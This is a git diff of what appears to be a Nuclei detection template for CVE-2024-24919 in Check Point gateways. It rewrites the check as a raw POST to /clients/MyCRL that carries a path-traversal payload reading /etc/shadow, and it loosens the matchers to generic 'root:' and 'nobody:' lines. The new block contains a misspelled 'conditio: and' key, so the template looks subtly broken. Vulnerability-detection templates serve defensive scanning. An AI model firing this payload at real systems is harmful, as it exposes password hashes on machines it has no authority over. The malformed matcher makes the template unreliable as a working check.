diff --git a/http/cves/2024/CVE-2024-24919.yaml b/http/cves/2024/CVE-2024-24919.yaml index d309063bbe..1274372024 100644 --- a/http/cves/2024/CVE-2024-24919.yaml +++ b/http/cves/2024/CVE-2024-24919.yaml @@ -15,24 +15,22 @@ info: tags: cve,cve2024,checkpoint http: - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" + - raw: + - | + POST /clients/MyCRL HTTP/1.1 + Host: {{Hostname}} - body: 'aCSHELL/../../../../../../../etc/shadow' + aCSHELL/../../../../../../../etc/shadow matchers-condition: and matchers: - type: regex part: body regex: - - "monitor:\\*:" - - "root:\\*:" - - "cp_routeevt:\\*:" - - "cp_postgres:\\*:" - - "cp_extensions:\\*:" - - "cpep_user:\\*:" + - "root:" + - "nobody:" + conditio: and - type: status status: - - 200 + - 200 \ No newline at end of file